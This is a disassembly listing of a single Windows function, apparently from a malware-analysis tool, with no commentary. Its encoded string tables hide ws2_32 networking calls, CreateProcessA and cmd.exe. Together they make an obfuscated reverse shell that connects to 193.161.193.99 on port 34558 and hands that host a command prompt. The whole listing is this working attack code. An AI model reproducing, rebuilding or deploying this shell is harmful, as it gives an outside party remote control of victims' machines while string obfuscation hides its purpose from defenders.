Function at 0x1400015d0
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rbx
sub rsp, 0x608
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5a0], ecx
mov qword [rbp + 0x5a8], rdx
call dbg.__main
movabs rax, 0x6867666564636261
movabs rdx, 0x706f6e6d6c6b6a69
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], rdx
movabs rax, 0x7877767574737271
movabs rdx, 0x4645444342417a79
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], rdx
movabs rax, 0x4e4d4c4b4a494847
movabs rdx, 0x565554535251504f
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], rdx
movabs rax, 0x32315f2e5a595857
movabs rdx, 0x39383736353433
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], rdx
movabs rax, 0x6464615f74656e69
mov qword [rbp + 0x306], rax
mov word [rbp + 0x30e], 0x72
movabs rax, 0x2e37363534333231
mov qword [rbp + 0x2fa], rax
mov dword [rbp + 0x302], 0x303938
mov dword [rbp + 0x2c0], 0x1c
mov dword [rbp + 0x2c4], 0x11
mov dword [rbp + 0x2c8], 4
mov dword [rbp + 0x2cc], 0
mov dword [rbp + 0x2d0], 0x13
mov dword [rbp + 0x2d4], 4
mov dword [rbp + 0x2d8], 0x29
mov dword [rbp + 0x2dc], 0x11
mov dword [rbp + 0x2e0], 0xe
mov dword [rbp + 0x2e4], 2
mov dword [rbp + 0x2e8], 4
mov dword [rbp + 0x2ec], 0x12
mov dword [rbp + 0x2f0], 0x12
mov dword [rbp + 0x2f4], 0x1a
mov dword [rbp + 0x290], 0x30
mov dword [rbp + 0x294], 0x2c
mov dword [rbp + 0x298], 0x1a
mov dword [rbp + 0x29c], 0x2c
mov dword [rbp + 0x2a0], 0x13
mov dword [rbp + 0x2a4], 0
mov dword [rbp + 0x2a8], 0x11
mov dword [rbp + 0x2ac], 0x13
mov dword [rbp + 0x2b0], 0x14
mov dword [rbp + 0x2b4], 0xf
mov dword [rbp + 0x260], 0x30
mov dword [rbp + 0x264], 0x2c
mov dword [rbp + 0x268], 0x1a
mov dword [rbp + 0x26c], 0x1c
mov dword [rbp + 0x270], 0xe
mov dword [rbp + 0x274], 0xd
mov dword [rbp + 0x278], 0xd
mov dword [rbp + 0x27c], 4
mov dword [rbp + 0x280], 2
mov dword [rbp + 0x284], 0x13
mov dword [rbp + 0x230], 0x30
mov dword [rbp + 0x234], 0x2c
mov dword [rbp + 0x238], 0x1a
mov dword [rbp + 0x23c], 0x2c
mov dword [rbp + 0x240], 0xe
mov dword [rbp + 0x244], 2
mov dword [rbp + 0x248], 0xa
mov dword [rbp + 0x24c], 4
mov dword [rbp + 0x250], 0x13
mov dword [rbp + 0x210], 7
mov dword [rbp + 0x214], 0x13
mov dword [rbp + 0x218], 0xe
mov dword [rbp + 0x21c], 0xd
mov dword [rbp + 0x220], 0x12
mov dword [rbp + 0x1e0], 8
mov dword [rbp + 0x1e4], 0xd
mov dword [rbp + 0x1e8], 4
mov dword [rbp + 0x1ec], 0x13
mov dword [rbp + 0x1f0], 0x35
mov dword [rbp + 0x1f4], 0
mov dword [rbp + 0x1f8], 3
mov dword [rbp + 0x1fc], 3
mov dword [rbp + 0x200], 0x11
mov dword [rbp + 0x1b0], 0x30
mov dword [rbp + 0x1b4], 0x2c
mov dword [rbp + 0x1b8], 0x1a
mov dword [rbp + 0x1bc], 0x2c
mov dword [rbp + 0x1c0], 0xe
mov dword [rbp + 0x1c4], 2
mov dword [rbp + 0x1c8], 0xa
mov dword [rbp + 0x1cc], 4
mov dword [rbp + 0x1d0], 0x13
mov dword [rbp + 0x1d4], 0x1a
mov dword [rbp + 0x160], 0x30
mov dword [rbp + 0x164], 0
mov dword [rbp + 0x168], 8
mov dword [rbp + 0x16c], 0x13
mov dword [rbp + 0x170], 0x1f
mov dword [rbp + 0x174], 0xe
mov dword [rbp + 0x178], 0x11
mov dword [rbp + 0x17c], 0x2c
mov dword [rbp + 0x180], 8
mov dword [rbp + 0x184], 0xd
mov dword [rbp + 0x188], 6
mov dword [rbp + 0x18c], 0xb
mov dword [rbp + 0x190], 4
mov dword [rbp + 0x194], 0x28
mov dword [rbp + 0x198], 1
mov dword [rbp + 0x19c], 9
mov dword [rbp + 0x1a0], 4
mov dword [rbp + 0x1a4], 2
mov dword [rbp + 0x1a8], 0x13
mov dword [rbp + 0x140], 0xf
mov dword [rbp + 0x144], 0x11
mov dword [rbp + 0x148], 8
mov dword [rbp + 0x14c], 0xd
mov dword [rbp + 0x150], 0x13
mov dword [rbp + 0x154], 5
mov dword [rbp + 0x100], 0
mov dword [rbp + 0x104], 9
mov dword [rbp + 0x108], 2
mov dword [rbp + 0x10c], 7
mov dword [rbp + 0x110], 0
mov dword [rbp + 0x114], 5
mov dword [rbp + 0x118], 0
mov dword [rbp + 0x11c], 7
mov dword [rbp + 0x120], 0
mov dword [rbp + 0x124], 9
mov dword [rbp + 0x128], 2
mov dword [rbp + 0x12c], 7
mov dword [rbp + 0x130], 9
mov dword [rbp + 0x134], 9
mov dword [rbp + 0xe0], 2
mov dword [rbp + 0xe4], 0xc
mov dword [rbp + 0xe8], 3
mov dword [rbp + 0xec], 0x34
mov dword [rbp + 0xf0], 4
mov dword [rbp + 0xf4], 0x17
mov dword [rbp + 0xf8], 4
mov word [rbp + 0x57e], 0x86fe
mov dword [rbp + 0xb0], 0x16
mov dword [rbp + 0xb4], 0x12
mov dword [rbp + 0xb8], 0x37
mov dword [rbp + 0xbc], 0x35
mov dword [rbp + 0xc0], 0x38
mov dword [rbp + 0xc4], 0x37
mov dword [rbp + 0xc8], 0x34
mov dword [rbp + 0xcc], 3
mov dword [rbp + 0xd0], 0xb
mov dword [rbp + 0xd4], 0xb
mov dword [rbp + 0x80], 0xa
mov dword [rbp + 0x84], 4
mov dword [rbp + 0x88], 0x11
mov dword [rbp + 0x8c], 0xd
mov dword [rbp + 0x90], 4
mov dword [rbp + 0x94], 0xb
mov dword [rbp + 0x98], 0x38
mov dword [rbp + 0x9c], 0x37
mov dword [rbp + 0xa0], 0x34
mov dword [rbp + 0xa4], 3
mov dword [rbp + 0xa8], 0xb
mov dword [rbp + 0xac], 0xb
lea rax, [rbp + 0x350]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0xb0]
mov r9d, 0x28
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x350]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x570], rax
lea rax, [rbp + 0x350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x290]
mov r9d, 0x28
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x370]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x568], rax
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x390]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x260]
mov r9d, 0x28
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x390]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x560], rax
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3b0]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x230]
mov r9d, 0x24
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x3b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x558], rax
lea rax, [rbp + 0x3b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3d0]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x210]
mov r9d, 0x14
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x3d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x550], rax
lea rax, [rbp + 0x3d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3f0]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x1e0]
mov r9d, 0x24
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x3f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x548], rax
lea rax, [rbp + 0x3f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0x568]
lea rdx, [0x140037040]
mov ecx, 0x202
call rax
lea rax, [rbp + 0x41f]
mov qword [rbp + 0x520], rax
nop
nop
lea rax, [rbp + 0x420]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0xb0]
mov r9d, 0x28
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x420]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rcx, [rbp + 0x41f]
lea rax, [rbp + 0x60]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x420]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x41f]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
lea rax, [rbp + 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x540], rax
lea rax, [rbp + 0x440]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x1b0]
mov r9d, 0x28
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x440]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0x540]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x440]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, qword [rbp + 0x538]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
call rax
mov qword [0x1400371d8], rax
mov word [0x1400371e0], 2
mov rdx, qword [rbp + 0x550]
movzx eax, word [rbp + 0x57e]
movzx eax, ax
mov ecx, eax
call rdx
mov word [0x1400371e2], ax
mov rbx, qword [rbp + 0x548]
lea rax, [rbp + 0x460]
lea rcx, [rbp + 0x2fa]
lea rdx, [rbp + 0x100]
mov r9d, 0x38
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x460]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call rbx
mov dword [0x1400371e4], eax
lea rax, [rbp + 0x460]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov r10, qword [rbp + 0x560]
mov rax, qword [0x1400371d8]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400371e0]
mov rcx, rax
call r10
test eax, eax
sete al
test al, al
je 0x14000206c
lea rax, str._nits_working_n
mov rcx, rax
call dbg.printf(char const*, ::)
jmp 0x140002086
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error:_0x_x_n
mov rcx, rax
call dbg.printf(char const*, ::)
lea rax, [rbp + 0x480]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x2c0]
mov r9d, 0x38
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x480]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x4a0]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x80]
mov r9d, 0x30
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x4a0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x530], rax
lea rax, [rbp + 0x4a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x480]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4c0]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x160]
mov r9d, 0x4c
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x4c0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x4e0]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0x80]
mov r9d, 0x30
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x4e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x528], rax
lea rax, [rbp + 0x4e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x4c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [0x1400371d8]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
mov rbx, qword [rbp + 0x530]
lea rax, [rbp + 0x500]
lea rcx, [rbp + 0x310]
lea rdx, [rbp + 0xe0]
mov r9d, 0x1c
mov r8, rcx
mov rcx, rax
call dbg.getOriginalString[abi:cxx11](int*, char*, int)
lea rax, [rbp + 0x500]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov ecx, 0
call rbx
test eax, eax
setne bl
lea rax, [rbp + 0x500]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x1400022e3
mov r8, qword [rbp + 0x528]
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
call r8
lea rax, str.it_is_working____
mov rcx, rax
call dbg.printf(char const*, ::)
mov ebx, 0
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140002481
add rsp, 0x608
pop rbx
pop rbp
ret